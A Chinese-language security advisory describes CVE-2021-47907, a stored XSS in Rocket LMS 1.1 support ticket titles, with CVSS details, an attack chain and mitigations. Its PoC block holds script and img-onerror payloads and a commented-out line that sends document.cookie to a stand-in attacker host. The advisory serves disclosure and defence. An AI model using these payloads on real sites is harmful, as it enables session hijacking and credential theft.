IPBUF安全漏洞报告
English
CVE-2021-47907 CVSS 6.4 中危

Rocket LMS 存储型XSS漏洞 (CVE-2021-47907)

披露日期: 2026-05-10

漏洞信息

漏洞编号
CVE-2021-47907
漏洞类型
存储型跨站脚本 (Stored XSS)
CVSS评分
6.4 中危
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
Rocket LMS

相关标签

XSSRocket LMS存储型XSSWeb安全CVE-2021-47907

漏洞概述

Rocket LMS 1.1版本的支持工单模块存在存储型跨站脚本(XSS)漏洞。由于缺乏对输入参数的适当过滤,经过身份验证的攻击者可以在工单标题中注入恶意HTML或JavaScript代码。当其他用户(如管理员)查看该工单消息历史时,恶意脚本将在其浏览器中自动执行,从而导致会话劫持或钓鱼攻击。

技术细节

该漏洞属于存储型跨站脚本攻击(Stored XSS)。Rocket LMS在处理支持工单模块的`title`参数时,未能正确过滤用户提交的恶意数据。攻击者只需要低权限账户,即可在创建工单时注入Payload。由于应用程序直接将未经过滤的用户输入存储并渲染到响应页面中,当具有更高权限的用户(如管理员)查看工单详情时,嵌入的JavaScript代码会在受害者的浏览器上下文中执行。鉴于CVSS向量S:C(Scope Changed),攻击者可利用此漏洞绕过同源策略限制,窃取管理员Cookie或进行钓鱼操作。

攻击链分析

STEP 1
1. 信息收集
攻击者识别目标系统为Rocket LMS,并确认存在支持工单功能。
STEP 2
2. 获取凭证
攻击者注册或使用已有的低权限账户登录系统。
STEP 3
3. 注入Payload
攻击者在提交支持工单时,在`title`字段中输入包含恶意JavaScript代码的HTML内容。
STEP 4
4. 触发漏洞
系统将恶意数据存储在数据库中。当管理员或其他用户查看该工单列表或详情时,Payload被加载并执行。
STEP 5
5. 执行攻击
恶意脚本在受害者浏览器中运行,窃取Session ID或执行钓鱼操作。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
<!-- PoC for CVE-2021-47907 Stored XSS --> <!-- Payload to be submitted in the Support Ticket Title field --> <script> alert('XSS by CVE-2021-47907'); // Proof of concept: stealing session cookies // var i = new Image(); // i.src = 'http://attacker-server.com/steal?cookie=' + document.cookie; </script> <!-- Alternative payload if scripts are stripped --> <img src=x onerror=alert('XSS')>

影响范围

Rocket LMS 1.1

防御指南

临时缓解措施
建议管理员暂时禁用普通用户提交支持工单的功能,或者在服务器端部署WAF规则以过滤工单标题中的常见XSS特征字符(如<script>, onerror等),直到完成补丁更新。

参考链接